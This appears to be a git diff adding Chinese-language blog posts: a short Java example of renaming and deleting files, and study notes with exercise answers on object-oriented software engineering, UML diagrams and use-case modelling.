+File myFile = new File("path/to/my/file.txt"); +if (myFile.renameTo(new File("path/to/newfile.txt"))) { + System.out.println("File renamed successfully."); +} else { + System.err.println("Failed to rename file."); +} +``` + +要删除文件,请使用`delete()`方法。例如,下面的代码片段演示了如何删除文件: + +```java +File myFile = new File("path/to/my/file.txt"); +if (myFile.delete()) { + System.out.println("File deleted successfully."); +} else { + System.err.println("Failed to delete file."); +} +``` + +请注意,在某些操作系统中,您可能需要文件系统权限才能重命名或删除文件。此外,如果文件被另一个程序锁定,则可能无法执行这些任务。 +0 + + diff --git a/_posts/2023-5-8-test-markdown.md b/_posts/2023-5-8-test-markdown.md new file mode 100644 index 000000000000..b5fdb1f68bcf --- /dev/null +++ b/_posts/2023-5-8-test-markdown.md @@ -0,0 +1,2165 @@ +--- +layout: post +title: 面向对象软件工程 +subtitle: +tags: [软件工程] +comments: true +--- + +软件工程练习题: + +1.面向对象分析方法优于传统方法的根本原因是什么?可否借助图或其他实例给出自己的理解? + +面向对象软件工程是一种动态的思想,模拟人类的思维方式,把现实世界的实体抽象为对戏对象,对象中封装实体的静态属性和动态方法。 +同时,对象融合了数据在数据上的操作,对象按照类进行划分,类是对对象的抽象,类与类之间可以构成继承,对象之间的相互练习是通过消息机制实现的,确保了对信息的封装。 + +2.UML重要的模型 + +**动态模型**用于对系统的行为随时间变化而进行的建模和描述。它支持活动图,状态图,顺序图 + +顺序图:用来显示用户,对象,界面和实体之间的交互。它提供了随时间变化,消息在对象间传递的时序图。这些图经常被放于模型用例内来图示用例情形:用户如何与系统交互,内部如何完成任务。通常这些对象用特殊构造型按钮表示,如下图的例子。对象"Login Screen"使用用户接口"User interface"图标.对象"SecurityManager"使用控制器"Controller"图标。" users"使用实体"Entity"图标 + +活动图:用来显示系统中不同的工作流是如何构造的,它们如何开始,以及它们从开始到结束所可能采用的判断方式。他们也图示某些活动执行中,并行处理可能发生在那里。 + +状态图用来详细描述系统中,对象经历的状态转移和变化。它们显示一个对象如何从一个状态到另一个状态,以及控制这种变化的规则,通常有一个开始和结束状态。 + +3.在软件开发过程中,问题发现得越晚,修正起来越困难,付出的代价越高。分析原因, +至少给出两个理由,并简短说明。 + +问题发现得越晚,所涉及的部分就越多,因为软件开发已经接近完成,问题可能会对软 +件开发产生全局性的影响,导致整个项目的失败;而前期发现问题则可以较快地修正,因为 +此时往往程序还没有开发完成,和问题相关的部分也相对较少,修改起来成本也更小。 + +**逻辑模型**是组成设计和分析领域的对象和类的静态视图。通常一个域模型是业务对象和实体的松散、高层视图。而类模型则是更严格,注重设计的模型。这里主要讨论有关类模型的部分。 +类模型:类模型是面向对象开发与设计的核心- 它既表达系统的持久状态,也表达系统的行为。 +举例:类模型 + +**物理模型**这个物理/部署模型提供了一个描述组件在系统基础设施中部署的详细模型,它提供了有关网络能力,服务器规范,硬件需求和其它系统部署相关的详细信息。 + + +**用例模型**描述的是新系统规划的功能。它表示用户(人或机器)和系统之间交互的离散单元。该交互是一个有意义的独立单元,如:创建账户,浏览帐户信息。 + +一个用例描述通常包括: +约束 - 用例运行所遵循的正式规则和限制,它们定义了什么能做,什么不能做。包括: +预置条件是用例运行以前就已经发生了。如:"创建订单" 必须发生在"修改订单"之前。 +后置条件是用例完成后必须为真,如:"订单修改和一致性检查"。 +常量在用例的整个运行过程中始终为真,如:一个订单一直有客户号。 + +## Part-1 +1.建模的目的是什么? + +更好地理解系统或过程,发现问题和优化方案,促进沟通与合作,提高开发效率,改善决策依据 + +2.一种编程语言是 一种代表算法和数据结构的记号。列举在整个开发过程中使用一种编程语言作为唯 一一种的记号的2条优点和2条缺点 + +语法规则统一,易于学习和使用。在整个开发过程中,不需要切换不同的语言,可以更快地掌握相关技术和知识,节省学习成本。 +可维护性高。由于使用相同的编程语言进行开发,代码风格、接口设计、文档注释等方面都比较统一,易于管理和维护。 +适用范围有限。每种编程语言都有其特定的应用场景和优缺点,如果只使用一种编程语言可能无法满足所有需求和问题,需要结合其他语言或工具进行开发。 +创新受限。使用单一编程语言进行开发时,可能会受到该语言特性的限制,创新空间相对有限,难以实现特殊的业务逻辑或功能。 + +3.考感一种不熟悉的任务,比如设计 一种零排放的汽车。怎么处理此问题? +- 调研和了解相关领域知识。 +- 收集和分析数据。 +- 确定设计目标和要求 +- 开展实验和测试。 +- 持续学习和创新 + +4.知识荻取不是线性的” 是什么意思?给出 一个能说明这 一点的知识获取实例。 +学习并不是从一个单一来源或途径获取固定各种类型的知识,而是由多个渠道和领域之间的相互作用形成的复杂过程。这些渠道和领域可以相互影响和交叉影响,导致学习过程具有多样化和非线性的特点。 + + +5.为 下列设计决策设计一种基本原理: +- “ 售 票 系 统 所 运 行 的 平 台 至 多 1 . 5 m 高 。” +- “ 售票系统要包括两台互为元余备份的计算机系统。” +- “售票系统接又要有一个触摸屏以显示指令和接到命令,还需要有 一个按钮来终止 执行。” +售票系统的平台应该被设计成最多1.5米高,以方便使用者操作。此外,售票系统的各个部件也需要根据人体工程学原则来布置。 + +由于售票系统的重要性,应设计两个互为元余备份的计算机系统。这样可以确保即使出现一个故障,另一个系统仍然能够正常运行。 + +为方便用户进行操作,售票系统应该配备一个触摸屏显示器,以显示指令和接收操作命令。还需要一个按钮来终止执行,作为紧急情况下的手动干预措施 + +6.“售票系统必须让旅客买到周票。”:功能性需求,因为这是售票系统必须具备的特定功能之一。 +“售票系统必须用Java编写。”:非功能性需求,因为它涉及系统的实现和技术决策,而不是特定的业务要求。 +“售票系统必须易于使用。”:功能性需求,因为用户友好的界面是售票系统必须具备的特征之一。 +“售票系统必须随时可用。”:非功能性需求,因为这是一个关于系统的可用性和可靠性的要求。 +“售票系统必须在出现故障时提供一个可用的电话号码。”:非功能性需求,因为这是一个关于系统支持和维护方面的要求,而非特定的业务功能。 +7.说明 下列决定是在需求设计还是在系统设计时做出的: +- “ 售票系统由一 个用户接又子系统、一个计算价目表子系统和 一个管理与中央计算 机 沟 通 的 网 络 子 系 统 组 成 。”(系统设计) +- “售票系统硬件使用PowerPC处理器芯片。”(系统设计) +- “ 售票系统给旅客提供在线帮助。(需求设计) + +8.在下面描述中,试解释 account 一词什么时候用作应用域概念、什么时候用作解答域 概 念: +“假设在开发 一个管理移动用户银行账户的在线系统。 一个主要的设计问题是如何 在客户不能建立在线连接时,让他能进入账户。 一个提议是可以通过移动计算机进入 账户,即使服务器没有上线。在这种情形下,账户显示最后一次连接交易后的数目。” + +在这个描述中,"account" 一词被用作解答域概念。 + +在这种情况下,“account” 指银行账户的具体实例,它是一个包含有关该用户的各种详细信息(例如余额、交易历史记录等)的数据单元。这是解答域概念,因为它指代了真实世界中的具体对象。 +此外,该描述中“account”也可以作为应用域概念使用,因为它涉及要设计和开发的特定在线系统的功能和服务。对于这个系统来说,“account”指代了系统内部的特定数据结构或编程对象,负责管理和存储关于用户账户的信息。 + +应用域概念通常是针对某个特定应用程序中的特定功能或服务,而其定义和实现仅适用于该应用程序。例如,在开发一款电子商务网站时,“购物车”就是一个应用域概念,它只存在于该电子商务网站中,用于存储顾客选择的商品、计算价格等。 + +解答域则是用来回答问题或解决问题的概念,它与具体的应用程序无关。解答域可以涉及真实世界中的事物、过程或事件,也可以是抽象的数学概念。例如,在解释“如何通过乘法计算两个数字的积”的过程中使用了“乘法”、“数字”等解答域概念。 + +9.任务和活动的区别在哪里 ? +定义:任务(Task)是指分配给某个人或组织完成的特定工作或职责,需要在规定的时间内完成;而活动(Activity)则是指人们为了达成某个目标而进行的行为或操作。 + +- 时间限制:任务通常都有明确的时间要求和截止日期,需要在规定的时间内完成;而活动通常可以根据实际情况和需要进行调整,没有明确的时间限制 +- 目标限制:任务是为了完成某个具体的工作,达到某个预期的结果 +- 复杂度:任务相对于活动来说,更加复杂和困难, + +10.一架 客 机 由 几 百 万 个 零 件 构 成 且 需 要 成 千 上 万 的 人 来 安 装 。 一 个 四 车 道 的 高 速 公 路 桥是又一个复杂性的例子。Windows 下的word第一个版本,由微软1989年发行的 字处理器需要55 人工作 一年,生成249000 行源代码,晚4 年才交付。飞机和高速 公路桥通常能如期交付,而软件通常不能如期交付。依的观点,讨论造成这种情 形的 飞机、高速公路桥的开发与字处理器开发的差别 + +其开发过程中可能会涉及多个层面,例如需求定义、架构设计、编码和测试等。如果在任何一个环节出现问题,都可能会导致项目延误或者失败。 + +## Part-2 + +### UML + +- 用例图:需求获取和分析-表示系统功能(参与者)。从用户角度展示系统功能,定义了系统边界。 +- 类图:标识系统结构 +- 交互图:系统行为形式化,对象之间的通信可视化。顺序图是交互图的特殊形式。顺序图吧把关注点放在对象之间的信息交换上。使用一组对象之间的交互表示系统的行为。 +- 状态机:用一组状态以及状态之间的迁移描述耽搁对象的动态行为。状态机把关注点放在状态之间的迁移上。结果:一个独立对象产生了外部事件。表示非平凡对象的行为 +- 活动图:活动图利用活动描述了一个系统的行为。活动表示:操作集合执行的建模元素。圆角矩阵表示活动,活动之间的箭头表示迁移。短粗棒表示控制流同步。表示贯穿一个系统的数据流图或者控制流图。 + +### 关系 + +- 继承/泛化关系是带空心三角形的直线(动物和鸟) +- 实现关系是带空心三角形的虚线(大雁和飞翔) +- 关联关系带箭头的实线(企鹅要知道气候变化) +- 聚合关系带空心四边形的箭头(雁群和大雁) +- 组合关系是带实心四边形的箭头(鸟和翅膀) +- 依赖关系是带箭头的虚线(动物和空气) + + +### 面向对象建模 + +应用域:用户问题的所有方面-(面向对象分析关注的是应用域的建模 +解答域:可能系统的建模空间-(面向对象设计关注的是解答域的建模 + +#### 用例图的表示 + +参与者通常是指系统外部和直接与系统交互的用户、设备或其他系统。在用例图中使用一个包含名称的符号来表示参与者 + + ++-------------+ +| Actor | ++-------------+ +| -attribute | +| +operation()| ++-------------+ + +用例是指系统中某个功能或服务的完整描述,它展示了系统对外提供的各种操作和响应。在用例图中使用椭圆形状的符号来表示用例。 + ++--------------+ +| Use Case | ++--------------+ +| - attribute | +| + operation() | ++--------------+ + +参与者和用例通过关联关系联系在一起,表示参与者与所请求的用例之间的交互。 + ++-------------+ +---------------+ +| Actor |<>--------->| Use Case | ++-------------+ +---------------+ + +按照如下格式完成列车售票系统的用例图。该系统包括两个参与者:可以购买不同类型车票的旅客 和中心计算机系统管理一个价格表引用数据库。用例应该包括 BuyOneWayTicket、 BuyWeeklyCard、BuyMonthlyCard 和 UpdateTariff。也应该包括意外情况:TimeOut (即旅行者等待太长时间而无法输入正确的数量)、TransactionAborted (即旅行者选择 终止按钮,未完成交易)、DistributorOutOfChange 和DistributorOutotPaper。 + +| 用例名 | | +| -------- | ---- | +| 参与者 | | +| 事件流 | | +| 入口条件 | | +| 出口条件 | | +| 质量需求 | | + + +通信关系: + +- 包含关系 +- 扩展关系 +- 继承关系 + +#### 交互图的表示 + 交互图描述了一组对象之间的通信模式。一个对象通过发送消息和其他对象进行交互 + + - 顺序图:表示交互的横向和表示事件的纵向。 + - 协作图 + +#### 状态机的表示 + +- 小黑实心圆表示初始状态。 +- 迁移提供连接两个状态的开箭头表示 +- 套有实心黑元表示终止状态。 +- 状态:圆角矩阵 + +#### 活动图的表示 + +- 决策是控制流中的分支 +- 分叉节点代表把控制流分成多个线程 +- 回合节点表示多个线程之间的同步 + + +### 练习 + +1.考虑 一下ATM 系统。至少标识出与系统交互的三个不同的参与 + +答:用户:使用ATM机提取现金、查询余额或转账等服务的人。 + +银行/开发商:银行和开发商需要指定要开发的功能,提供安全性和与银行帐户集成的支持。 + +管理员:有权管理ATM机,例如维护ATM机硬件和软件、配置ATM机系统、添加新功能等。 + +2.在考虑一个系统时,是否可以将该系统作为 一个参与者处理?验证的答案 + +答案:在考虑一个系统时,可以将该系统作为一个参与者处理。例如,ATM机可以被视为ATM系统中的一个参与者,因为它积极地参与了与用户交互和执行操作的过程。然而,在对系统进行分析和设计时,通常会更多地关注系统的组件、模块或服务等内部实现细节,而不是将整个系统视为一个独立的参与者。因此,是否要将系统本身视为参与者取决于具体情况和需要分析的问题。 + +3.场景和用例之间,有何不同?这两个工具在何时使用? + +场景(Scenario)通常描述了一个系统或应用程序在特定情境下的一系列行为或步骤。每个场景通常都**包含了一个或多个参与者、事件和条件,并描述了这些东西如何相互作用和影响系统的行为**。通常使用场景来帮助识别潜在问题、验证需求、设计用户体验等。场景更加关注用户与系统的交互过程,对用户体验、用户需求等方面的把握更为准确。 + +用例(Use Case)也描述了系统在特定情况下执行的一组操作。但是,用例比场景更加强调系统的功能需求和行为,而不是用户体验。用例往往关注于描述系统角色(Actor)和系统间交互、系统能够完成的功能以及其限制和前提条件等内容。用例主要用来描述系统的功能列表,对系统的描述更加全面,且更适合从开发人员和系统架构师的角度出发进行分析和设计。 + +4.画出列车售票系统的用例图。该系统包括两个参与者:可以购买不同类型车票的旅客 和中心计算机系统管理一个价格表引用数据库。用例应该包括 BuyOneWayTicket、 BuyWeeklyCard、BuyMonthlyCard 和 UpdateTariff。也应该包括意外情况:TimeOut (即旅行者等待太长时间而无法输入正确的数量)、TransactionAborted (即旅行者选择 终止按钮,未完成交易)、DistributorOutOfChange 和DistributorOutotPaper。 + + +用例名 +BuyOneWayTicket 旅客购买单程车票 +BuyWeeklyCard 旅客购买周票 +BuyMonthlyCard 旅客购买月票 +UpdateTariff 中心计算机系统更新价格表 +参与者 旅客、中心计算机系统 +事件流 1. 旅客选择需要购买的车票类型 +2. 系统检查旅客账户余额是否充足 +3. 旅客输入购票数量 +4. 系统计算总价并显示给旅客确认 +5. 旅客确认购票 +6. 系统完成交易并将车票发送给旅客 + +备注:对于UpdateTariff用例,事件流为中心计算机系统管理员上传新的价格表到数据库 +入口条件 旅客已经登录,中心计算机系统和数据库正常运行 +出口条件 交易成功,车票已经发送给旅客 +质量需求 系统应该保持高可靠性、稳定性和安全性,旅客和系统管理员应该能够轻松易懂地操作系统 +意外情况: + +用例名 +TimeOut 用户等待输入超时 +TransactionAborted 用户未完成交易选择终止 +DistributorOutOfChange 分销商无法找零 +DistributorOutOfPaper 分销商缺乏票据 + + + +5.写出题-4事件流并说明用例Update Tariff的所有域 + +6.按如下定义要求面出书的类圈:“一本书由数个部分组成,每个部分由数章组成。各 章又由数节组成”。画图的将注意力放在类及其关系 + ++---------+ +--------+ +-------+ +| Book | | Part | |Chapter| ++---------+ +--------+ +-------+ +| | | Chapter|......>| | +| | | int | | int | +|String[]| | Section| +-------+ +| |......>| | +| | | | ++---------+ +--------+ + +7.在完成的练习6的基础上,在类图中增加重数 + +8.画出对象图, 以表示本书的第一部分 (即第一部分 , 准 备开始)。 确认所画出的对象图与练习6中的类图一致 + +9.扩展练习2- 6中的类图 , 以包含如下属性 : +书中包括出版者 、 出版日期和ISBN +一个部分包括一个标题和一个数字 +一章包括 一个标题、 一个数字和一个摘要 +一节一个标题和一个数宇 + +10.考虑一下练习9中的类图。注意到Part、Chapter 和Section 均包括一个标题和 一个 数字。增加 一个抽象类和继承关系,以将这些属性提到抽象类中 + +11.画出表示家长与孩子之间关系的类图。利用 一个人可以由双亲和 一个孩子。对具有角色和重数的关联加注 + +```mermaid +classDiagram + class Person { + +name: string + } + + class Parent { + +role: string + +children: Child[] 1..* + } + + class Child { + +role: string + +parents: Parent[] 2 + } + + Person <|-- Parent + Person <|-- Child +``` +继承 + +12.对著书目录的参考文献画一个类图。使用附录C 中的参考文献Bibliography,以测试 的类图。的类图应该尽可能细化。 + +13.画出图2-21的场景warehouseOnFire 的顺序图。包括对象bob、alice、john、FRIEND 和所需要的其他类的实例。仅画出前 五个消息发送 + +```mermaid +sequenceDiagram + participant bob + participant alice + participant john + participant FRIEND + participant warehouse + + bob->>FRIEND: Hey, did you hear that the warehouse is on fire? + FRIEND->>alice: Bob just told me the warehouse is on fire! + alice->>john: Have you heard anything about the warehouse? + john-->>alice: No, but we should call the fire department immediately! + alice-->>warehouse: Hello, fire department? The warehouse at our location is on fire! + +``` +- bob 向他的朋友 FRIEND 发送信息询问是否知道仓库着火的消息。 +- FRIEND 告诉 alice,仓库着火的消息。 +- alice 向 john 询问有没有听说过关于仓库的事情。 +- alice 向 john 询问有没有听说过关于仓库的事情。 +- john 回复说他没听到,但是他们应该立即打电话给消防局! +- alice 打电话给消防局报告仓库起火的情况。 + +13.图2-14 的用例Reportincident 的顺序图。仅画出前五个消息发送。确认与练 习2-13 中的顺序图一致。 +```mermaid +sequenceDiagram + participant User + participant App + participant Server + participant Database + + User->>App: Opens the incident reporting feature + App->>User: Displays the incident reporting form + User->>App: Fills out the incident details and submits the form + App->>Server: Sends a request to report the incident + Server->>Database: Inserts a new incident into the database +``` + + +14.用例Reportincident 的顺序图 +``` +@startuml +FieldOfficer -> FRIEND: 激活“报告紧急情况”功能 +FRIEND --> FieldOfficer: 响应表格提交请求 +FieldOfficer -> FRIEND: 提交填写好的表格 +FRIEND --> Dispatcher: 通知调度者有紧急情况报告 +Dispatcher -> Dispatcher: 评估信息并创建事件 +Dispatcher -> FRIEND: 显示响应并传达给现场工作人员 +@enduml +``` +15.通过电话订购一份比萨饼的过程。画出活动图表示该过程的每 一步,从 拿起电话的那一时刻开始,到开始吃比萨饼这一时刻为止。不必表示任何意外情 况,包括其他需要处理的活动。 + +``` +@startuml +|客户| +start +:拿起电话; +|员工| +:问候客户; +:询问客户需求; +|客户| +:告知所需比萨饼; +|员工| +if(比萨是否有优惠活动?) then(yes) + :告知客户优惠信息; +else (no) + :告知客户总价; +endif +:确认订单; +|客户| +:提供送货地址; +|员工| +:确认地址和联系方式; +fork + :制作比萨; +fork again + :配送比萨; +end fork +|客户| +:签收比萨; +stop +@enduml + +``` + + +16.对开发的练习15 的活动图增加一条异常处理。至少考虑三种异常 (例如接电话 者 记 错 了 号 码 、 外 卖 者 给 出 了错 误 的 比 萨 饼 、 存 储 不 下 ) 。 + +17.根据软 件 开 发 活 动 。第 一 个 活 动 图 要 求 : 画出活动图表示这些活动,假设这些活动严格按顺序执行。第 二个活动图要求:画 出以增量方式发生时相同活动的活动图 《即包括分析、设计、实现和测试在内的系 统的一部分开发完成之前,系统的另一-部分开发已经开始。第三个活动图要求:画 出描述这些相同活动并发发生时的活动图。 + + +``` +@startuml + +|客户| +start +:提出需求; +|分析师| +:分析需求; +|设计师| +:设计系统; +|程序员| +:实现系统; +|测试人员| +:测试系统; +|客户| +:验收系统; +stop + +@enduml + +``` +@startuml + +|客户| +start +:提出需求; +|分析师| +:分析需求; +|设计师| +:设计系统; +|程序员| +:实现系统; +|测试人员| +:测试系统; +|客户| +:验收系统; +stop + +@enduml + +``` +@startuml + +|客户| +start +:提出需求; +|分析师| +:分析需求; +|分析师| +:撰写需求文档; +|设计师| +:设计系统; +|设计师| +:编写接口规范; +|程序员| +if (有新任务) then (是) + :实现新功能; +else (否) + :完善已有功能; +endif +|测试人员| +if (有新任务) then (是) + :测试新功能; +else (否) + :测试已有功能; +endif +|客户| +if (满意) then (是) + :继续开发下一阶段; +else (否) + :修改及迭代; +endif +|程序员| +:实现需求; +|测试人员| +:测试需求; +|客户| +if (满意) then (是) + :进入下一阶段; +else (否) + :修改及迭代; +endif +stop + +@enduml + +``` + +``` +@startuml + +|客户| +start +:提出需求; +|程序员| +fork + :实现系统; + fork again + |分析师| + :分析需求; + |设计师| + :设计系统; + |测试人员| + :测试系统; + fork end +join +|客户| +:验收系统; +stop + +@enduml + +``` + +## Part3 + +### 项目组织和沟通 + +1.角色和参与者之间的区别是什么? + + +角色 是指在系统设计中确定的一组相关职责、权限和行为模式。角色通常是在系统设计过程中确定的,可以是人、机器或其他实体。**角色定义了系统中各个活动的主要责任方,并规定了他们在项目中的工作方式。**例如,在一个电商平台上,可能会有买家、卖家和管理员等角色。 + +参与者 则是指在特定操作期间直接与系统交互的实体。参与者是系统用户的具体身份,是系统中最终用户或外部系统与该系统进行交互的其他应用程序或服务。例如,在一个银行系统中,可能会有存款人、出纳员和贷款审批官等参与者。 + +**角色更多是从系统架构或设计的角度考虑,而参与者则更加侧重于实际的使用场景和互动操作。** + +2.两个和多个参与者之间,角色可以共享吗?如果是的话,是何原因?如果不是的话, 又是何原因 + +不同的参与者在系统中具有相同的职责、权限和行为模式的时候角色可以共享。参与者之间的角色不同时,就不能 + +3.客户和最终用户有何区别? + +客户是购买软件或服务的组织或个人,他们对软件有决策权,可以指定要求和功能,并为软件支付费用。而最终用户是实际使用软件的人员或受益人,他们与软件直接交互,使用软件来完成任务或获得价值。 + +4.根据如下任务,将承担的角色是什么? +- 改变一个子系统接又以适应新的需求 。 +- 因子系统接又的改变而与其他项目团队进行沟通。 +- 因接口的改变而改变文档 。 +- 设计测试用例组以检查因改变而引入的错误。 +- 确信所进行的改变在计划安排内可完成。 + +5.将负责协调一 个处理银行信用卡系统的开发。对该项目而言,对以 下项目参与者而 言,谁最为合适担当此角色? +一 个银 行 雇 员对 处 理 信 用 卡应 用 负 责 。 +在银行中的信息技术组经理,其将定义系统。 +一个 具有过开发相似系统的自由程序 员。 +一个技术性的写作者。 + +6.绘出 一个UML 活动图以表示在第3.4.1 节中描述的会议过程。在该会议前后,特别注 意所产生的产品,如会议议程和会议时间。使用泳道图表示角色。 + +7.工作包和 工作产品有何区别?在何时定义工作包?在何时定义工作产品?考虑如下 安排:有两个学生合作规划和开发一个系统,使用两个不同的排序算法用以对姓名表进行排序。对分工而言,所提交的内容包括源代码、系统文档和对其他开发者解释新排序算法如何集成到代码的手册。根据这一项目,给出工作包和工作产品的实例。 + +工作包:源代码、系统文档、说明手册并不是工作包,而是工作产品。工作包是一个可以独立管理和控制的工作单元,通常会包含诸如工作任务、资源需求、进度计划等信息。而工作产品则是指在完成某个工作包时所需要创建、提交或交付的具体成果,如软件程序代码、技术规格说明、测试报告等等。在开发排序算法这个项目中,工作包可能包含多个任务,而每个任务都可能涉及不同的工作产品,其中包括源代码、系统文档和说明手册等。 + + +## Part4 + +1.考虑将的表作为系统,并将时间向前拨 2 分钟。写出和的 手表之间进行交互的场景 。记录下所有场景 , 包括手表提 供 给 的 任 何 反 馈 。 + +场景1: + +我:想要知道现在几点了。 +手表:显示当前时间为XX:XX(比实际时间晚了2分钟)。 +场景2: + +我:想要设置一个闹钟提醒我下午2点要参加会议。 +手表:确认我已经按下了设置闹钟的按钮,并且显示已设置闹钟时间为13:58。 +场景3: + +我:试图开启手表上的计时器以记录跑步时间。 +手表:开始计时,并显示已计时0秒(实际计时器比实际时间慢了2分钟)。 +场景4: + +我:尝试使用手表上的计步器检查今天走了多少步。 +手表:显示今天还没有行走步数数据。 + +2.景标 识 出 该 场 景 的 参 与 者 。接 下 来 ,写 出 对 应 的 S e t T i m e 用例。包括向前和向后设置时间的所有用例,以及设置小时、分钟和秒钟的所有用例。 + +**场景:** +- 参与者:我和我的手表。 +- 描述:我想要将手表上的时间向前拨2分钟。 + +**SetTime用例:** +- 参与者:我和我的手表。 +- 触发器:我想要更改手表上的时间。 +- 前置条件:手表处于待机状态,时间设置模式未开启。 +- 后置条件:手表上的时间更新为新设置的时间。 + +**向前设置时间用例:** +- 参与者:我和我的手表。 +- 触发器:我想要将手表上的时间向前调整一段时间。 +- 前置条件:手表处于待机状态,时间设置模式已开启。 +- 后置条件:手表上的时间已按照设定时间向前调整。 + +- 用户提供想要向前调整的小时数、分钟数和秒数 +- 手表验证输入是否合法,如果不合法则提示用户重新输入 +- 手表将当前时间向前调整相应的小时数、分钟数和秒数 +- 手表显示更新后的时间 + +**向后设置时间用例:** +- 参与者:我和我的手表。 +- 触发器:我想要将手表上的时间向后调整一段时间。 +- 前置条件:手表处于待机状态,时间设置模式已开启。 +- 后置条件:手表上的时间已按照设定时间向后调整。 + +- 用户提供想要向后调整的小时数、分钟数和秒数 +- 手表验证输入是否合法,如果不合法则提示用户重新输入 +- 手表将当前时间向后调整相应的小时数、分钟数和秒数 +- 手表显示更新后的时间 + +**设置小时用例:** +- 参与者:我和我的手表。 +- 触发器:我想要单独更改手表上的小时。 +- 前置条件:手表处于待机状态,时间设置模式已开启。 +- 后置条件:手表上的小时已按照设定时间进行更改。 + +- 用户提供新的小时数 +- 手表验证输入是否合法,如果不合法则提示用户重新输入 +- 手表将当前时间的小时更改为新的小时数 +- 手表显示更新后的时间 + +**设置分钟用例:** +- 参与者:我和我的手表。 +- 触发器:我想要单独更改手表上的分钟。 +- 前置条件:手表处于待机状态,时间设置模式已开启。 +- 后置条件:手表上的分钟已按照设定时间进行更改。 + +- 用户提供新的分钟数 +- 手表验证输入是否合法,如果不合法则提示用户重新输入 +- 手表将当前时间的分钟更改为新的分钟数 +- 手表显示更新后的时间 + +**设置秒钟用例:** +- 参与者:我和我的手表。 +- 触发器:我想要单独更改手表上的秒钟。 +- 前置条件:手表处于待机状态,时间设置模式已开启。 +- 后置条件:手表上的秒钟已按照设定时间进行更改。 + +- 用户提供新的秒钟数 +- 手表验证输入是否合法,如果不合法则提示用户重新输入 +- 手表将当前时间的秒钟更改为新的秒数 +- 手表显示更新后的时间 + + +3.手 表 实 例 也 支 持 闹 钟 特 征。 描 述 将 闹 钟 时 间 设 置成称为Set AlarmTime 的自包含的用例。 + +**设置闹钟时间用例:** +- 参与者:我和我的手表。 +- 触发器:我想要设置手表的闹钟时间。 +- 前置条件:手表处于待机状态。 +- 后置条件:手表上的闹钟时间已按照设定时间进行设置。 + +- 用户提供新的闹钟时间,包括小时数和分钟数。 +- 手表验证输入是否合法,如果不合法则提示用户重新输入。 +- 手表将当前闹钟时间更改为新的闹钟时间。 +- 手表显示更新后的闹钟时间。 +- 如果手表当前时间等于新设置的闹钟时间,手表响铃提醒用户。 + + +4.检查在练习4-2 和练习4-3 中所写出的SetTime 和SetAlarmTime 用例。通过使用包 含关系抽取任何元余。说明在这一用例中,与使用扩展关系相比,为什么包含关系是 优先。 + +**包含关系抽取出的元素:** + +- 设置时间用例: + - 参与者:我和我的手表。 + - 触发器:我想要设置手表的时间。 + - 前置条件:手表处于待机状态。 + - 后置条件:手表上的时间已按照设定时间进行设置。 + - 流程: + 1. 用户提供新的时间,包括小时数和分钟数。 + 2. 手表验证输入是否合法,如果不合法则提示用户重新输入。 + 3. 手表将当前时间更改为新的时间。 + 4. 手表显示更新后的时间。 + +- 设置闹钟时间用例: + - 参与者:我和我的手表。 + - 触发器:我想要设置手表的闹钟时间。 + - 前置条件:手表处于待机状态。 + - 后置条件:手表上的闹钟时间已按照设定时间进行设置。 + - 流程: + 1. 用户提供新的闹钟时间,包括小时数和分钟数。 + 2. 手表验证输入是否合法,如果不合法则提示用户重新输入。 + 3. 手表将当前闹钟时间更改为新的闹钟时间。 + 4. 手表显示更新后的闹钟时间。 + 5. 如果手表当前时间等于新设置的闹钟时间,手表响铃提醒用户。 + +在这个用例中,包含关系比扩展关系更合适,因为设置闹钟时间的用例包含了设置时间的用例。设置时间是设置闹钟时间所必需的子步骤。使用包含关系可以避免在两个用例之间出现重复步骤,从而使用例更简洁、易读和易于维护。此外,使用包含关系还可以将这些用例分别测试并独立验证其正确性。 + + +5.当满足报告紧急情况EmergencyReport 时,假设现场工作人员FieldOficer将引用Help 特征。对每一个领域,Help 报告紧急情况ReportEmergency 特征提供了细节描述,说 明了哪一个域需要这些细节。修改报告紧急情况ReportEmergency用例(在图4-10 中 描述)以包括这一帮助功能。在报告紧急情况ReportEmergency 和Help 报告紧急情況 ReportEmergency 之间,应该使用哪一种关系? + +6.关 于以 下非 功 能 性 需 求 的 一 些 例 子 。 说 明 哪 些 需 求 是 能 证 实 的 ? 哪 些 不 能 : +“ 系 统 必 须 是 可 用 的 。”(无法被证实) +“ 在一秒钟的时间内,对一个提交的命令,系统必须提供可见的反馈给用户。(可以证实的非功能性需求) +“ 系统的有用性必须达到95 %以上。”(是一个不太容易证实的非功能需求,) +“ 新系统的用户界面应该 与原有的旧系统用户界面是够相似, 因为这样做后,在对 新 系 统 进 行 培 训 时 , 将 更 加 容 易 。”(这是可以证实的非功能性需求。) + +>非功能性需求是指系统需满足的性能、安全、可靠性、易用性等要求,而不是特定的业务需求或功能要求。 + +功能性需求 + +用户能够创建新账户 +系统能够查询并返回正确的数据信息 +用户能够将商品添加到购物车中 +系统能够接受和处理用户提交的订单 +非功能性需求 + +系统必须在3秒内响应用户的查询请求 +系统必须支持至少1000个并发用户 +系统必须具有高可靠性,即系统不会在运行过程中出现错误,或者发生故障时能够快速恢复 +系统必须保护用户隐私,严格遵守相关法律法规 + +7.分析员可能会遇到开发 一个完整的规格说明的需要,这时分析员将写出详细的文档。 为 了鼓励分析员保持规格说明 (表4- 1 中)尽量短,哪一种规格 说明的质量更具竞争 性? + +8.在需求和随后的活动过程中,维持可跟踪性是代价昂贵的,因为这必须要捕捉和维护 额外的信息。高于这 一期待的可跟踪性好处是什么?哪 一个好处对分析员而言是直接 的好处? + +降低开发风险:通过跟踪需求变更,可以及时捕获任何潜在的风险,并采取相应的措施,减少项目失败或超支的可能性。 + +改进需求质量:通过更好地理解需求背景、业务目标和用户期望,可以提高需求的质量并减少歧义和误解的可能性。 + +提高团队协作效率:通过创建一个共享的需求库,团队成员之间可以更好地协作和交流,并维护共同的理解和对需求状态的认识。 + +加强项目管理:通过明确的需求基准线和开发进度监视,可以更好地管理项目进度和资源分配。 + + +9.解释为什么作为从用户处抽取信息的主要手段的多种选择调查表,会对抽取需求是无 效的。 + 缺乏上下文信息:调查表通常只能提供零散的信息,而缺乏引导性和上下文,这使得我们很难深入了解用户的真正需求。在没有足够背景知识和上下文的情况下,用户往往难以精确表达自己的需求。 + +忽略非言语要求:调查表主要关注文字信息,但存在很多无法通过问卷或调查表收集的用户需求。例如,用户的使用场景、心理暗示、口头表述等都可能包含重要的需求信息,但这些往往无法从纸面调查中获取。 + +误导性:调查表设计不当,很容易导致受访者误解或错误回答问题,这可能导致我们所获得的数据失真,进而导致对需求的错误理解。 + 